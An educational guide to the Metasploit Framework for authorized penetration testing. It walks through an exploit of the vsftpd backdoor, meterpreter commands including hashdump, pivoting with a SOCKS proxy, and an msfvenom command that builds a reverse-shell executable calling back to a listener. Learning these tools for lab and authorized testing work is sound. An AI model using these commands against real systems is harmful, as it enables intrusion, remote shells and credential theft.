Metasploit Framework

A Practical Guide to Structured Penetration Testing

This guide covers the Metasploit Framework (MSF) for use in authorized penetration testing environments only — personal labs, HackTheBox/TryHackMe boxes, CTFs, and engagements where you have explicit written permission to test. Using these techniques against systems you do not own or lack authorization to test is illegal in most jurisdictions.

Contents

1. What Metasploit Is and How It's Organized

Metasploit is a modular exploitation framework. Instead of writing exploit code from scratch for every target, you select pre-built, tested modules and configure them for your specific target. Everything in MSF is organized into module types:

Module Type	Purpose
Exploit	Code that takes advantage of a specific vulnerability
Payload	Code that runs on the target after successful exploitation (e.g. a shell)
Auxiliary	Scanning, fuzzing, DoS, and other non-exploit actions
Post	Actions run after you already have a session (privilege escalation, data gathering)
Encoder	Obfuscates payloads to avoid signature-based detection
NOP	Padding used in some buffer-overflow exploits

2. Environment Setup

Metasploit ships pre-installed on Kali and Parrot OS. On other distros (like CachyOS/Arch), you can install it via the official installer script or an AUR package.

```
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templ
ates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
```

Metasploit uses PostgreSQL to store hosts, services, credentials, and loot from a workspace. Initialize the database once before your first real use:

```
sudo systemctl enable postgresql --now
sudo msfdb init
msfconsole
```

Inside msfconsole, confirm the database is connected with **db_status**. A connected database means **hosts**, **services**, and **creds** commands will actually persist data across sessions.

3. msfconsole Basics

Core navigation commands you'll use constantly:

Command	Effect
`search <term>`	Find modules matching a keyword, CVE, or platform
`use <module path>`	Load a module into the current context

`show options`	List a loaded module's configurable parameters
`show payloads`	List payloads compatible with the loaded exploit
`set <OPT> <value>`	Configure a single option
`setg <OPT> <value>`	Set an option globally across all modules
`info`	Show detailed description of the loaded module
`run / exploit`	Execute the loaded module
`back`	Unload the current module
`sessions -l`	List active sessions
`sessions -i <id>`	Interact with a specific session

Tip: **search** supports filters, e.g. `search type:exploit platform:windows cve:2021` narrows results considerably on a large target scope.

4. The Core Workflow: search → use → options → run

Nearly every MSF session follows the same pattern. Below is a generic walkthrough using a well-known, safe practice target (Metasploitable2's vsftpd 2.3.4 backdoor) to illustrate the flow — only ever point this at boxes you're authorized to test.

```
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > show options
msf6 exploit(...) > set RHOSTS 10.10.10.5
msf6 exploit(...) > set RPORT 21
msf6 exploit(...) > run
```

Key options you'll almost always need to set:

- **RHOSTS** — target IP or CIDR range
- **RPORT** — target port (module usually has a sane default)
- **LHOST** — your IP, used by reverse payloads to call back to you
- **LPORT** — your listening port for the callback

Before running, always check **show payloads** and pick one matching your target architecture (x86 vs x64) and OS. Use `set PAYLOAD <path>` to select it explicitly.

5. Payloads: Staged vs Stageless, Bind vs Reverse

Type	Behavior
Reverse	Target connects back out to you (bypasses inbound firewall restrictions)
Bind	Target opens a listener; you connect in (useful if target has no outbound access)
Staged (e.g. meterpreter)	Small initial stager, then downloads the full payload — smaller footprint
Stageless (e.g. meterpreter_reverse_tcp)	Entire payload in one shot — simpler, larger, more reliable on flaky links

Naming convention: `windows/x64/meterpreter/reverse_tcp` reads as [OS]/[arch]/[payload type]/[connection style]. Reading these names tells you almost everything about how a payload will behave before you even set it.

6. Meterpreter Essentials

Meterpreter is Metasploit's advanced payload — an in-memory agent giving you a scripting interface rather than a raw shell. Once you have a meterpreter session:

Command	Effect
`sysinfo`	Show target OS/architecture details
`getuid`	Show current user context
`ps`	List running processes
`migrate <PID>`	Move your session into another process (stability/stealth)
`hashdump`	Dump local SAM password hashes (requires SYSTEM on Windows)
`download / upload`	Transfer files between attacker and target
`screenshot`	Capture the target's current screen
`shell`	Drop into a native OS shell within the session
`background`	Suspend session back to msfconsole without killing it

For privilege escalation on Windows, try `getsystem` first — it automates several known local-privesc techniques before you resort to manual enumeration.

7. Auxiliary Modules & Scanning

Auxiliary modules don't give you a shell, but they're essential for reconnaissance before you pick an exploit. They follow the exact same use/set/run pattern as exploits.

```
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(...) > run

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(...) > set RHOSTS 10.10.10.5
msf6 auxiliary(...) > run
```

Since you're already comfortable with nmap host discovery and service ID, a common pattern is: run nmap for broad discovery, then feed interesting hosts into targeted MSF auxiliary modules (SMB, FTP, HTTP enumeration) for deeper, protocol-specific fingerprinting before touching exploits.

8. Post-Exploitation & Pivoting

Post modules run against an existing session to gather more value from an already-compromised host — credentials, network info, persistence, or a path deeper into the network.

```
msf6 > use post/windows/gather/enum_logged_on_users
msf6 post(...) > set SESSION 1
msf6 post(...) > run
```

Pivoting lets you route traffic through a compromised host to reach an internal network segment you can't reach directly:

```
meterpreter > run autoroute -s 192.168.10.0/24
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > run
```

Once the SOCKS proxy is running, tools like proxychains can route external scanners through it into the newly-reachable internal subnet.

9. msfvenom (Standalone Payload Generation)

msfvenom combines payload generation and encoding into one command-line tool, useful when you need a standalone binary rather than an interactive exploit/payload pairing inside msfconsole.

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
```

Then catch the callback with a matching multi/handler in msfconsole:

```
msf6 > use exploit/multi/handler
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 10.10.14.5
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > run
```

10. Automation with Resource Scripts

A resource script (.rc file) is a plain text list of msfconsole commands, run in sequence — handy for repeatable lab setups or handler configs you use often.

```
# handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run

msfconsole -r handler.rc
```

11. Practical Workflow Example

A realistic end-to-end sequence against an authorized lab target, tying the previous sections together:

- **Recon:** nmap -sV -sC 10.10.10.5 to identify open ports and service versions
- **Search:** search <service/version> inside msfconsole for matching modules
- **Verify:** use the module, run 'check' if supported to confirm vulnerability without exploiting
- **Configure:** set RHOSTS, RPORT, LHOST, LPORT, and PAYLOAD
- **Exploit:** run, then confirm the session with sessions -l
- **Post-exploit:** sysinfo, getuid, then getsystem or relevant post modules
- **Document:** loot, creds, and hosts commands to review everything gathered this session

12. Good Practice & Legal Notes

- Only run these techniques against systems you own or have explicit written authorization to test (a signed scope-of-work, a lab like HTB/TryHackMe, or your own VMs).
- Unauthorized access to computer systems is a crime in essentially every jurisdiction, regardless of intent.
- Always run 'check' before 'exploit' when a module supports it — it reduces the chance of crashing a service you didn't mean to touch.
- Keep workspaces separate per engagement (workspace -a <name>) so loot and hosts don't bleed between clients or labs.
- Clean up: kill sessions, remove dropped payloads, and revert VM snapshots when you're done in a lab.

This guide is meant as a working reference alongside hands-on labs (HTB, TryHackMe, Metasploitable2) and doesn't replace understanding the underlying vulnerabilities you're exploiting.